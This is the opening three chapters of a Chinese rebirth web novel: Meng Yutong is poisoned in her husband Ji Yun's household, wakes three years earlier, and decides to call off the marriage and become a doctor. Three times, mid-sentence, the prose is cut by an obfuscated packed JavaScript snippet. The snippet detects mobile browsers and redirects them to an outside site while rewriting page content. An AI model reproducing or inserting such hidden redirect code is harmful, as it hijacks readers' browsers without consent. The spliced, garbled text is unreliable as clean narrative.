《重生后前夫全家也重生了》 1. 第 1 章 纪家梧桐院落了一日的雨，傍晚还未停歇。 孟玉桐倚在矮榻边望出去，墙角那丛纪昀最是珍视的湘妃竹，被风雨摧折了几支，萎落于地。 “少夫人，该用药了。”丫鬟白芷将药碗递至她手边。 孟玉桐伸手接过，浓黑的药汁散发着比往日更重的苦酸气，隐隐透着股奇怪的腥甜。 她微微蹙眉，难不成是风寒伤了脾胃么，连气味都辨不清了么？ 未及深想，她如往常一般屏息仰头灌下。 药汁刚滚过喉咙，一股灼热猛地窜上来，混着那丝诡异的甜腥直冲鼻腔。 “咳咳……咳……”剧烈的呛咳撕扯肺腑，她慌忙用手帕捂嘴，手心丝绢瞬间被温热的液体浸湿。 “少夫人！”白芷被这变故惊住，失声惊呼，扑跪榻前抢过帕子，手心刺目的腥红让她脸色一白，“血！怎么咳血了？！不行，奴婢这就让青书去宫里请公子回来！” “别……”孟玉桐下意识想拦，喉咙却被一团腥甜堵住，只能眼睁睁看着白芷转头冲入雨中。 夫君最喜欢她懂事大方，贤淑温婉，他今日在宫中替公主看诊，她不该去打扰他的。 她该再忍忍的，多年忍耐，她以为她早已习惯。 可五脏六腑骤然传来翻绞剧痛，连吸口气都如万针攒刺。 她终是压抑不住，痛哼出声。 直觉告诉她，这可不像是风寒…… 医者的本能压过剧痛，她颤抖着手指搭上腕脉。 指尖下，脉息虚浮迟涩，重按如冰棱凝滞，看似是外感风寒的表症，细辨却有一缕滑象隐于沉处——分明是毒入脏腑之兆。 毒！ 惊骇如冰水浇顶，她脑中霎时空白。 今日她胃口不佳，就只喝了青书送来的药。 青书是纪昀的贴身侍从。这半月来，是纪昀吩咐青书照看梧桐院，今日碗中之毒……他是否知情？ 纷乱思绪如重锤砸落，头痛欲裂。她浑身脱力，双手撑住案几，视线落在那药碗中，看向那点还剩小半的墨色药汁。 颤抖的手指沾上一点药渍，凑到鼻尖。 那股若有若无、被苦味掩盖的奇异甜腥，再次钻入鼻腔。 窗外轰然一声惊雷炸响，震得她心魂几散。 雷声分明那样大，她竟一瞬觉得四周空寂一片，她张了张嘴，发不出半点声息。 两年前宫宴，景福公主意外中毒，七窍流血、容颜枯败的骇人景象随着滚滚惊雷乍然浮于眼前。 她记得这味道，与景福公主当时身上的气味一般无二。 是秋海棠之毒。 这毒名虽清雅，其性却凶戾无匹。入腹如利刃翻绞五脏，五脏摧折，继而七窍流血，一炷香内便芳华尽枯，恰如秋日海棠瞬息凋零，故而得名秋海棠。 更要命的是，此毒无解。 纪家……有人要她死。 寒意从脚底直冲而上，腹中刀绞加剧，冷汗如浆滚滚而下。 胸中恐惧与剧痛交织，雨声、雷声、风声，声声催逼，不留间隙，几乎令她窒息。 此时，屋外急乱的脚步声由远及近。 孟玉桐用尽全身力气压下喉头的腥甜，抹去额角的冷汗，强撑着坐直身体。 下一瞬，白芷带着青书闯了进来。 两人入屋后，青书的目光扫过矮榻小几上的药碗，眉头微蹙，立刻唤来婢女收走。 “少夫人，”青书垂首，神色疏淡，“公主心疾犯了，公子一时抽不开身。” 又是公主！ 宫中并非无人，偏生次次都盯着公子 白芷气得浑身发抖，髻簪乱颤如一只炸翎雀：“公主心疾？！少夫人都咳血了！你没告诉公子吗？！” 青书眼皮都没抬：“公主金枝玉叶，贵体不容有误。公子让少夫人……暂且忍耐。” “忍忍？！”白芷的眼泪夺眶而出，积压了三年的委屈与愤怒轰然爆发，“姑娘自嫁入纪家，侍奉老爷夫人，照顾小公子，事事周全。夫人病时衣不解带，老爷烦忧时百般开解。疫病时更是亲自为公子上山寻药险些没了命。她一颗心都剜给了纪家。宫里那位三天两头‘犯病’，次次都要抢人。在公子心里，他到底是谁的夫君？！三年了，石头也该捂热了！” “公主珍贵，那我们姑娘呢？！” 她声声泣血，竟连这嘈杂哗然的雨声没能盖住分毫声音。 “白芷！”孟玉桐的声音不高，却带着冷意，瞬间压住了白芷的哭喊，“出去，我有话问青书。” 白芷愤恨地剜了青书一眼，哭着退了出去。 白芷走后，孟玉桐静静望着青书——这个纪昀最信任的心腹。 她一字一顿，声音因剧痛微颤：“青书，毒是谁让你下的？” 青书身体显然一僵，随即沉默垂首。 他不答话，过了几息，孟玉桐似是提起了一口气，才又问：“与他有关吗？” 她的声音很轻，险些没入雨声之中。 外头风急雨骤，青书抬眼望了望窗外的湘妃竹，默然片刻方道：“今日雨大，瑾安公主亲手栽下的湘妃竹都被打坏了，公子见了，怕是要心疼的。” 支摘窗的撑木被狂风卷开，窗扇“哐当”一声砸落下来，屋内霎时昏暗许多。 孟玉桐眼中最后一丝光亮，仿佛也随那窗扇坠落，彻底灭了。 这竹子……原是瑾安所栽？ 心头似乎有些模糊的线头渐渐显露出来。 她想起纪昀对公主每月一次雷打不动的问诊，想起成婚三年，他待自己的冷淡疏离，想起他对这一丛小小绿竹的珍重爱视…… 心口像是被那话狠狠贯穿，耳中嗡鸣盖过了雨声。 孟玉桐闭上眼，巨大的疲惫和彻骨的冰冷席卷而来，反而压下了几分腹中的翻绞。只是四肢力感渐渐消逝，麻木之感自指尖悄然蔓延…… 她哑声问：“是什么毒？” 青书回：“是秋海棠。” 果然。 “白芷。”她的声音已透着虚浮。 白芷冲进来，红着眼推开青书：“你出去，别在这儿碍眼！” 她扑到榻边，紧紧握住孟玉桐冰凉的手：“姑娘，奴婢去找别的大夫！一定有办法！” 孟玉桐收回手，艰难地摇摇头，她的进气已经渐渐弱了，她能感受到体内生气在一点点被抽离。 她费力俯身，从矮榻边的小柜抽屉中拿出一封信，递给白芷，开口嘱咐道：“这纸上有几样珍贵的药脉分布，有我结识的一些官家夫人，还有一位关系不错的药商。你将这个给祖母，日后我即便不在纪家，靠着这些，祖母能少去许多忧虑。” “姑娘！”白芷泣不成声，“您还想着孟家，您从不为自己考虑！前日我回府，亲耳听见秦姨娘劝老夫人，您若有不测，就让二小姐续弦。老夫人……老夫人她并未驳斥啊！” 孟玉桐指尖猛地一颤，信纸几乎脱手。 喉中那股腥甜再次涌上，她咬着唇死死咽下。 原来如此，祖母的偏疼，也不过是待价而沽。她也好，孟玉柔也罢，都只是维系孟家利益的棋子罢了。 白芷说得不错，她好像从未替自己考虑过。 她想起她嫁入纪家的始末。 纪家乃杏林清贵，纪昀其人，松风水月，医道卓绝。 而她出身商贾，唯“娴静温婉”之名堪堪入耳。这般姻缘，本非她可攀附。 只因孟家曾于纪家有旧恩，祖母借此促成了这桩婚事。纪家重诺，她便因此机缘，成了他的妻。 能嫁纪昀，孟玉桐自是心慕。纵知他性冷似玉，唯痴医道，亦甘之如饴。 更因他曾一句“端庄贤淑，温婉大方”，自踏入纪府那日起，她便把这八个字刻进骨子里。 事事周全，处处谨慎，从不敢给他添半分烦扰。 他既心仪这样的夫人，她便做这样的夫人——一如当年在孟家，为博祖母欢心那般。 不过是事事要周全，处处要谨慎，活得累一些而已，只要能得夫君长辈的喜爱，便也值得。 她一直是如此。 “呵，”她扯出一个极淡的笑，将信用力按进白芷掌心，“无妨，就当报答祖母养育之恩了，扶我去书房。” 有一件事，她死也要弄个明白。 她身子沉重，每走一步都像踩在刀尖上，便由白芷搀扶着往前走。 穿过浸满风雨的游廊，两人来到纪昀的书房。 推开门步入房中，孟玉桐的目光落在书架最高处的檀木箱上。 纪昀从不许人碰那个箱子。 “白芷，砸开它。” 白芷抹了抹脸，手上不知是雨水还是泪水，湿作一团。 她上前取下箱子，举起桌上镇纸砸向铜锁。 “哐当！”箱盖弹开倒地的刹那，屋外忽然涌起一阵冷风，漫天纸片如雪片纷飞。 孟玉桐接住几张飘落在她眼前的宣纸，只见上面密密麻麻记着治疗心疾的方子，墨迹新旧交错，最早的可追溯到三年前…… 原来他夜夜伏案，都是为瑾安的病。 整个屋子浸着松烟墨与陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127360|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸的气息，还有冷雨水汽，混在一起冷而清寂，如他眉眼间永远凝着的那层霜。 “哈哈……哈哈哈……”孟玉桐忽然笑了起来，笑声空洞而悲凉，牵动着脏腑，痛得她蜷缩起来，泪水却不受控制地涌出。 原来他的心并非捂不热，只是她从未真正走进去过。 她这三年谨小慎微、剜心掏肺的“贤淑”，在他眼中，恐怕只是个碍眼的笑话。 雨水自门廊倾泻而下，眼前视线渐渐模糊，她仿佛瞧见三年前的那场春雨。 景和三十五年，暮春，春雨如注，她同白芷在茶馆檐下躲雨，听见雅间有文人品茗赏雨。 其中有道声音嘹亮轻佻，“我说淮之表兄啊，临安城那么多高门贵女你家不挑，就因为什么劳什子恩情要同那商户女结亲，委实是亏大发了。要我说，你不如给些银钱打发打发得了，何必搭上半辈子?” “明远慎言，孟小姐端庄贤淑，温婉大方，是我高攀。” 春雨淅沥，人声嘈杂，唯有那道清朗如玉的声音破开重重昏暗水气，落在她耳边。 她恍惚看见望仙桥边桃花拂落，洒落在河心，泛起连绵不绝的涟漪。 暮春时一场寻常的春雨，却打湿了她短暂的一生。 雨还在下，冷冷戚戚。 书房外的冷风吹得孟玉桐宽大的袖袍猎猎作响，鸦青发丝凌乱飞舞。 白芷看着自家姑娘惨白如瓷的脸、摇摇欲坠的身影，心胆俱裂：“姑娘……” 那身影却猛地挺直了脊背，抓起一张药方，翻过空白背面，重重按在乌木桌案上。 她抓起笔，墨汁淋漓，笔锋带着一种近乎决绝的力度，在纸上划下三个字：和离书。 “白芷，”她的声音低哑破碎，血不断从嘴角渗出，手背皮肤以肉眼可见的速度失去光泽，显出枯败的灰白。 手上没有力气，也控制不住地抖动起来，“我……撑不到他回来了，你把这个……给他，告诉他……当初祖母胁恩，迫他娶我，是孟家之过，” 她抓紧手中的笔，写一个字，便要停下喘口气，“今日……我把正妻之位让出来……死后，他也不必为我守节……” “姑娘！您别说了！”白芷用袖子拼命擦着她脸上的血，却越擦越多。 孟玉桐轻轻推开她颤抖的手，眼神已有些涣散，却仍坚持嘱咐：“我屋里的首饰金银……你拿着出府去……嫁人也好……开铺子也好……好好活着……” “我不走！我的命是姑娘救的，我死也不走！”白芷跪倒在地，抱住她的腿。 孟玉桐想摸摸她的头，却连抬手的力气也没了，“听话，新主进门……只怕容不下你，我死后，将我一把火烧了……” 她声音轻得像叹息：“骨灰不要留在纪家，也不必回孟家，就埋在望仙桥边……那棵桃花树下……” 她努力弯起唇角，眼中泛起微弱的虚幻的光，气若游丝：“我……喜欢有花有水的地方…” 意识渐渐模糊，剧烈的痛楚奇异地开始消退，身体变得很轻。眼前仿佛真的出现了那棵桃花树。 八岁那年，望仙桥下春水碧绿，满树粉霞灼灼。 母亲牵着她从桥边走过，她摔了一跤，疼得哇哇直哭。 树下的算命先生叫住她们，“小姑娘模样周正，天庭饱满，嗓音嘹亮，未来不可估量！” 母亲掩唇笑笑，“那先生说说，我们阿萤长大了会做什么呢？” “小姑娘是心肠良善的有福之人，未来或许做个女大夫，行医问药，治病救人，功德无量。” 她终于停下哭声，一瞬又笑起来：“娘，我瞧御街的大夫都有一间大大的医馆，里头还有三两个伙计使唤，可神气哩，我以后也要当大夫！” “好，娘给你攒钱开医馆，以后阿萤做女大夫，我便做女大夫的娘。不过以后要做大夫的人，可不要一点疼就哭鼻子哦。” “娘不要小瞧我，阿萤才不会轻易哭呢。” 粉色落花随风而下，飘向桥下流水，逐波远去…… 孟玉桐静静靠在桌案上，周身痛楚如潮水退去，竟觉出几分飘然。 恍惚间似见自己这一世，总如那望仙桥下的落花，随波逐流——为博祖母欢心敛尽天真，为得夫君青眼强作贤淑。 是她从未爱过自己。 眼前被温热的水汽模糊，她喃喃开口：“娘，阿萤就再哭这一次……” 声音渐渐消隐于穿堂风声之中。 “姑娘——！！！”白芷的哭喊声撕心裂肺。 疾风骤雨中，屋外有脚步骤停。 2. 第 2 章 暮春三月，春雨如注，自歇山顶檐角倾泻而下，将杏桃院中的草木都浇得抬不起头。 水汽氤氲，浸透了杏桃院，连带着室内也弥漫着一股潮湿的土腥气。 孟玉桐是在一阵剜心刺骨的剧痛中惊醒的。 仿佛有无数把冰冷的利刃在她腹中翻绞，搅动着五脏六腑。喉咙腥甜翻涌，窒息感如影随形。 她猛地睁开眼，大口喘息，冷汗瞬间浸透了单薄的寝衣，黏腻地贴在冰冷的皮肤上。 眼前是熟悉又陌生的景象——水青幔帐上，桃花映春图因她惊醒动作而晃动摇曳。 她忽而蹙眉警醒，这幔帐上的桃花是她幼时母亲亲手所绣，装点在孟家杏桃院里的梨花木雕刻牡丹的架子床上。 这顶幔帐分明在她出嫁时便收进了箱笼，怎会…… “呃……”又是一阵剧烈的幻痛袭来，她蜷缩起身子，死死捂着腹部，仿佛这样就能抵御那深入骨髓的、来自秋海棠的绞痛。 墙角的湘妃竹，青书冷漠的脸、堆积如山的心疾药方、白帕上刺目的腥红、皮肤寸寸枯败的绝望……无数画面碎片般在她混乱的脑海中闪过。 “小姐？可是魇着了？”外间传来一道略沧桑的关切声音，伴随着轻微的脚步声靠近。 门“吱呀”一声被推开，冷风裹挟着更浓重的水汽涌入。 直到看清走到床边的人，孟玉桐瞳孔骤缩，如同见鬼一般，身体猛地向后退，撞在冰冷的床柱上，发出“咚”的一声闷响。 她喉咙发紧，声音听上去有些尖利短促：“桂嬷嬷？！你…你不是……” 死了吗？最后三个字卡在喉咙里，带着难以置信的颤抖。 桂嬷嬷被她激烈的反应吓了一跳，慌忙上前：“小姐！是老奴啊！您这是怎么了？莫不是被梦魇住了？” 她冰凉的带着些老茧的手掌急切地探向孟玉桐的额头。 桂嬷嬷那真实的、带着体温的触感，印在额心，让她陡然冷静下来。 不是梦！不是幻觉！ 孟玉桐停下动作，抬眼仔细去看。只见眼前人五十多岁的年纪，身形瘦弱，脊背有些佝偻，鬓角的白发用一支雕桂花的乌木簪仔细绾着，面上神色关切非常。 那支乌木簪是她亲手给嬷嬷刻的。 “桂嬷嬷，真的是你？” 桂嬷嬷是母亲身边贴身服侍的，她八岁那年，母亲病死后桂嬷嬷就留下照顾她了。 一直到景和三十五年她嫁入纪家后，桂嬷嬷才放心回了乡。 后来她遣白芷去乡下送年礼时，才知道桂嬷嬷雨天下地去看庄稼，不甚摔了一跤去世了。 如今再看见那张熟悉的脸，孟玉桐心中忽然翻涌出千万种的委屈。 鼻尖萦绕着桂嬷嬷身上熟悉的、淡淡的皂角香气，真切得让她心头发酸。 巨大的荒谬感和劫后余生的狂喜潮水般席卷而来，瞬间冲垮了她强撑的堤防。 她再也忍不住，猛地扑进桂嬷嬷温暖的怀里，嚎啕大哭起来。 那哭声撕心裂肺，混杂着前世积压的所有委屈、恐惧、和不甘。 “死了……嬷嬷，我死了啊！”她语无伦次，泪水汹涌，瞬间浸湿了桂嬷嬷的衣襟，“好疼……我好疼！”她紧紧抓着桂嬷嬷的衣襟，哭得凄惨极了。 白芷闻声冲进来，被眼前的景象惊得手足无措。 桂嬷嬷一边轻拍着怀中哭得几乎背过气去的人儿，一边用眼神安抚白芷，示意她去倒水。 “小姐，小姐不怕，老奴在呢！都是梦，是假的！您看看，您好好的，老奴和白芷都在呢！”桂嬷嬷的声音渐渐将她安抚下来。 孟玉桐将脸深深埋进熟悉的怀抱，呜咽含糊的声音传出来，“嬷嬷，不是噩梦。” “小姐喝口水罢，管它梦里有什么呢，现在都没了。”白芷捧着一杯温热的清水，送到孟玉桐手边。 孟玉桐终于止了哭声，她缓缓坐直身子，看着白芷稚嫩的脸，感受到自己蓬勃有力的心跳，记忆中那股麻木死顿终于渐渐从身体里抽离。 她端过水，一饮而尽，由白芷搀着下榻净面。待坐在妆台前时，神思才渐渐清明。 铜镜中，少女长发乌黑，如瀑般散落在肩头，衬得肌肤莹白似雪。一双眼睛大而圆，此刻泪痕虽干，眼尾仍带着薄红，反添几分楚楚风致。抿唇时脸畔漾起一对酒涡，脂粉未施，自有一段天然明艳。 她尚未嫁与纪昀，那三年为人妇的光阴恍如昨夜一梦。 可若是梦，未免也太真切了些。秋海棠蚀骨穿肠的滋味依旧清晰，如今回想依旧令人心惊。 不……那一切，一点也不像是梦。 倒像是……她又重新活了一回。 这念头乍现时，她自己都觉荒唐。可眼前种种又真切得不容置疑，由不得她不信。 “白芷，桂嬷嬷，你们说人死之后会去向哪里？” 这世上难不成真有转世重生一说？ 白芷替她梳着头，想也没想回道：“若是善人，死后自当羽化登仙；若是恶人，自然要堕入阿鼻地狱。小姐怎的突然问这个？可是方才的梦里……” “缘起缘灭，生死富贵，自有定数。”桂嬷嬷一张脸严整，讲得颇正经，“况且世事易变，不如顾好眼下，顺其自然。” 她暗忖小姐大约是思念夫人了，方才一定是梦到了很难过的事情，才会让平日里端庄娴静的她哭成那般可怜模样。 不过小姐思念夫人也是正常的，毕竟当年夫人病去时她才八岁，正是黏人的年纪。她那时候性子也活泼，爱笑爱闹，天真烂漫。 只是后来养在老夫人膝下时，总被教导着沉稳端庄，她又不想要老夫人失望，便渐渐收起了自己的天性，成了个不会哭不会笑的木头美人儿，懂事早慧得令人心疼。 桂嬷嬷忽而又有些感慨，小姐像方才那样不管不顾地扑在她怀里哭的模样，好像已经许久都未曾有过了。 孟玉桐反复咀嚼着“顺其自然”四字，忽觉豁然开朗。 她释然一笑：“桂嬷嬷说得不错，已往不谏，来者可追，既然天意如此，顺应便是。” 既然如此，便当自己是重新活了一回。那‘端庄贤淑’的壳子，套了一世，误了一生。 这一回，她不会为了不相干的人费心费力，不能再重蹈覆辙。 先退掉与纪家的婚事，再按幼时与母亲说定的心愿，开一间小小的医馆。 想起母亲，她鼻尖微酸，因那算命先生一言，她与母亲说定这个心愿。 在母亲病榻前时她便想，若是自己是个厉害的大夫，或许母亲也就不会死了。 母亲后来因病离世，她也所嫁非人，如今再提起，只觉得物是人非了。 但也无妨，如今……也不算太晚。 另外，等时机成熟后，她再从孟家分出去，往后只为自己而活。 至于下毒之人……秋海棠的痛楚仍旧刻骨铭心，可那毒甚至涉及景福公主的死，凭她一人之力，只怕难窥全貌，更遑论抗衡。 与其纠缠旧恨，不如惜取新生，护住眼前人，走好自己的路。 这般想着，她平缓的心跳好似又渐渐快了起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127361|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，她看向铜镜中的自己，镜中人那一双沉静的眸子里好似有了隐隐流动的光彩。 “白芷，待雨歇了，陪我去一趟望仙桥。” 那里是“阿萤”最后存在的地方。这一世的新生，就从那里开始。从找回那个敢哭敢笑、梦想成为女大夫的自己开始。 她要去桃花树下告诉母亲，告诉那个算命先生，她这次，定要走那条路。 “是，小姐。”白芷应着，手中动作不停，仍细细打理着如云青丝。 她性子大大咧咧，却有一双巧手，最善绣花剪裁，孟玉桐的发髻衣服饰皆由她打理。她觉着姑娘今日似乎不大高兴，便将两股乌瀑交缠，巧挽青丝成个同心鬟。 又依孟玉桐所言弄些简单的装饰，在上头插上一支攒桃花银簪，小小的银色花朵聚在发髻间，珊珊可爱，霎时将那恹恹病气都抖散了。 妆台后边的直棂窗紧紧关着，隐约能看见外头泼天的雨色。 孟玉桐的视线越过眼前的铜镜，落在窗角下的一把素色油纸伞上。 桐油伞柄上，刻了一个“纪”字。 记忆飘回与纪昀初见的那日。 那时纪昀替她说话，她心中雀跃紧张，一边忍不住因纪昀的夸赞而心动，一边又因这夸赞而心虚。 只因她深知自己并非他口中所谓“端庄贤淑，温婉大方”的女子，只怕日后原形毕露，反惹他厌弃。 正自惴惴时，纪昀自茶肆缓步而出。 男子眉目如山水墨画，清远雅致，一袭玉色广袍长衫随步而动，袖口银线绣制的竹叶纹在风中翻飞，更显他气质出尘，似风前玉树，卓然不群。 侍从奉上一把素色油纸伞，伞面绘有片片青竹，伞柄上刻一个“纪”字。 纪昀接过伞，似是注意到一边审视的目光，缓缓偏过头，瞧见檐下躲雨的姑娘。 那人瞧见他望过来，便飞快移开视线，瞧着有几分心虚的模样。 纪昀微微颔首，淡声道：“孟姑娘。” 孟玉桐心头一跳，“纪公子认得我？” 纪昀未答，视线从她腰间碧玉色双鱼佩上掠过，又往两人身侧逡巡片刻，便将伞递给一旁的白芷，“雨大风急，姑娘打我的伞回去吧。” 话毕，侍从打了另一把伞过来，不待她推辞，他便转身进了侍从的伞下，两人提步离开了茶肆…… 如今重回到初见的第二日，再想起记忆中那道熟悉的身影，当初接伞时的悸动早已荡然无存，心中只剩一片沉寂。 那曾让她心跳加速的周全，如今想来，不过是他教养使然，与情意无关，更与真心无关。 她此刻只是庆幸，幸好她尚未嫁给纪昀。 那段压抑本心，委屈求全的三年光景，那碗不知是谁谋划的毒药，那个一心等着别人回头，在伪装中丢失一切的自己——一切都还未发生。 “姑娘，那把伞是不是得找个机会还给纪公子？咱们需不需要备点谢礼一并送去？” 白芷如往常一样，从锦盒中取出一块双鱼玉佩正要挂上她腰间。 孟玉桐思绪回笼，伸手推了推，并不想戴。 记得上一世，她待这伞很是珍重，遣人送回纪府时还亲手做了糕点一并送去。 这事被孟玉柔知晓，便在祖母跟前夸大说辞，暗指她私下同纪昀往来，折损孟家名声。 祖母因此罚自己抄了半月的女诫。 孟玉桐的目光在伞柄的“纪”字上停留一瞬，手指无意识在腹部幻痛处按压，“嗯，是该还给他。” 要还回去的，不止是这把伞。 3. 第 3 章 望仙桥往东是一条热闹的街巷，沿街设有客栈、茶肆、面馆、彩帛店等，因桥边长有一棵百年桃树，故而得名桃花街。 此刻的桃花街上雨歇云散，行人渐稠。沿街商铺此时正往外摆放桌椅。 “油焖笋出锅喽——”桥头庆来饭馆的孙大娘掀开杉木蒸笼，白雾裹着笋香气漫到街上。 她瞥见桃树下闭目养神的吴林，揶揄道：“吴半仙，坐了一日也没开张，腰疼不疼？” 桃花树下坐着个六旬老者，须发皆白，头上戴一顶毡帽，面前支一张小摊。 青布幌子在雨后斜阳里晃出虚影，上头“铁口直断”四个金字被雨水洇得发暗。 吴林见雨止了，便收起伞，正襟坐好，捻须一笑：“急什么，机缘一事急不得。” 孙大娘撇下嘴，“神神叨叨，也不知一日能哄得几个冤大头。” 吴林悠悠然道：“孙桂芳，你有空盯着老夫，不如改进改进你家饭馆的口味，好多招揽几个客人。” 恰在此时，从桥上走下来两个女子，一个身姿窈窕，云鬟风颤，穿一身浅碧色罗衫配藕荷色百迭裙，外头披一件月白缂丝薄氅，莲步姗姗而来，见之只觉如沐春风。 另一个丫环打扮，眼脸圆圆，手中抱着一把素色油纸伞跟在一旁。 两人下了桥，竟直直往桃花树下走去。 孙桂芳被他堵了一句，只得阴阳怪气嘀咕：“今日还真有冤大头。” 吴林见有人来，不紧不慢从桌摊下抽出两只马扎子摆好，请两人坐下。 “姑娘眼若明珠，印堂生辉，想必近日有柳暗花明之喜！不知姑娘想算些什么？” 白芷打量着简陋摊子，满眼怀疑。 她悄悄扯了扯孟玉桐，孟玉桐却十分熟稔地让她拿出两贯钱，搭在货架上，“先生帮我算算前程吧。” 吴林捏起铜钱掷于木盘，口中念念，“坤下巽上，渐卦□□。鸿渐于木，或得其桷。 姑娘，”他声音平和，“心有所向，便只顾行去。天机藏于时运，莫问前程几许，云开雾散自有晴空。” 孟玉桐微怔，抬头望向天际。她今日醒来时，外头还下着大雨，天上阴云密布。 而不过半日的功夫，天空便澄净如，没有一丝流云，仿佛豁然开朗。 是啊，她既已决心挣脱枷锁，又何必执着于一时得失？ 只管先专注脚下，至于纪家的婚事还有医馆的事，总有法子徐徐图之。她释然一笑：“多谢先生点化。” 吴林从货架下抽出一只竹筐，掀开上头的粗布往里掏了掏，拿出一只粉色素面香囊往前递了递，“机缘已至，物归原主。” 孟玉桐接过香囊，这是一只十分寻常的的香囊，里头似乎塞了花瓣，捏着轻飘飘的，凑近时能闻见一股桃花香。 指尖触及那素面布料，孟玉桐心头猛地一颤。 这是她八岁那年亲手缝制的。 那时母亲面色不好，她便自己照着医书摸索着配了一些香料药材，本打算配给母亲安眠的。 恰巧那日同母亲经过此处，这位先生替她算命，说她今后会成个女大夫。 她很高兴，要自己出这算命的钱，可身上却未带分文。于是先生便要了她腰间的香囊做报酬。 前世的蹉跎与遗憾涌上心头。她紧紧攥住香囊，仿佛回到母亲还在的时候。 她声音微哑：“没想到先生还记得我。” 吴林往背后树上一靠，“小大夫的哭声实在洪亮，老夫想忘记都难呐！” 孟玉桐不禁莞尔：“这香囊多谢先生保管多年。” “是我要多谢你，今日帮我开张。”吴林摆摆手一笑。 两人道别后，白芷抱着伞拉起孟玉桐往前走，“几句话赚两贯钱，忒不靠谱。” 孟玉桐将香囊塞捏在手里，“我们先去把伞还了。” 陡然重生回三年前，总觉着还有些不太真切，如今到这熟悉的桃花街走一走，她心中莫名安定不少。 吴老头的算命摊子往前便是一间客栈，客栈门口冷清无人，店小二正拿着布巾擦着檐下廊柱上的水珠。 见两人路过，小二便将布巾往肩上一搭，笑呵呵迎上来问：“两位客官住店吗？” 白芷摇摇头道：“我们去前头清风茶肆。” 那小二闻言一脸失望，又扯下布巾回头继续干活。 “这里原来生意不错，听说东家换了人，放任不管才败落至此。”白芷低声道。 孟玉桐心中有开医馆的打算，便对这街边铺面上了些心。 她驻足细看：只见客栈分上下两层，门面不算阔气，却收拾得齐整。对门处是敞亮的大堂。 往后是一处四方小院，青砖铺地，角落里种着一棵老柿子树，枝干虬曲，叶子刚抽新绿，底下零星落着几朵嫩黄的花。 小院倒是适合晾晒药材。 她抬头，二楼围廊半敞，通风甚好，若隔成静室，倒宜病患休养。 地段尚可，但比之御街铺子，人流终逊，房屋老旧修缮也费功夫。 她收回视线，继续往前走，行至清风茶肆门前，忽听得里头有人争执。 两人齐齐望去，只见一个总角小儿正拽着伙计衣袖。 伙计年纪也不大，十六七的模样，是这茶肆店主的儿子。 “哥哥，他昨日在此处吃茶，不小心将香囊掉在了房间里，这才让我来的，你就给我吧。” 伙计望了望手中香囊，又看了看缠着他的男童，十分无奈，“还是叫那位公子自己来取吧，我将香囊给了你，回头他又寻上门来讨要，我如何说得清楚。” 男童不依不饶：“那个香囊真的是我兄长让我来取的。不然你仔细瞧瞧，我同我兄长长得难道不像吗？” 伙计十分决然地摇摇头：“哎呦小祖宗，那位公子生得仙鹤一般，您与那位哪有半分相似？” 那伙计余光瞧见门外的孟玉桐，眼睛倏地亮了，三步并作两步上前将香囊塞进她手中，“这位姑娘，我昨日见过您，那位失主公子还给您送了伞，你们交情应该不浅。我看我还是将香囊交给您，回头您再帮忙转交吧！” 说罢竟一溜烟跑了。 孟玉桐望着手中多出来的一只蓝色香囊，凝眸瞧了瞧，看见上头银线绣成的竹叶纹有些熟悉，这才反应过来，这是纪昀的香囊。 想来是纪昀将香囊落在茶肆了，那小二见她昨日与纪昀交谈，误以为他们相熟，便将香囊给了她。 她今日来茶肆，本就是想将伞存放在此处，等纪昀下回来时带走，这样便省得她还要遣人送上一趟。没成想伞没给出去，反倒多收了个烫手山芋。 她一时间有些哭笑不得。 “姐姐，这还真的是我兄长的伞啊，你认识我兄长吗？” 一道稚嫩声音自下方传来。孟玉桐低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127362|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，瞧见方才那男童立于身侧，身量尚不及她腰间。 那孩子生得比寻常孩童单薄，偏生一双眼睛格外灵动，此刻正滴溜溜地转着打量她。 这是纪昀的幼弟，纪明。 纪明从小脾弱体虚，却又十分馋嘴，因爱屋及乌，她钻研过许多温补又兼具风味的点心，故而前世在纪府时，纪明很黏她。 思及此，孟玉桐心头微涩。今生既决意与纪家撇清干系，便不该再有牵扯。 她将伞与怀中香囊一并递与纪明：“我与你兄长不过萍水相逢，这些物件还是由你带回去更为妥当。” “姐姐，你叫什么名字？”纪明接过伞抱在胸前，香囊随手塞入袖中，追着孟玉桐道：“我兄长的朋友我都见过，怎么从未见过姐姐呢。” “我与你兄长昨日也是初见，算不上朋友。”孟玉桐已将东西都交了出去，不欲多言，转身准备离开。 纪明很快跟上来，仰着脸打量她片刻，自己一张脸涨红了几分。 兄长也真是的，怎么能给个不认识的女子送伞呢，人家还长得这么好看，这要是被未来嫂嫂知道了，岂不是要生出误会。 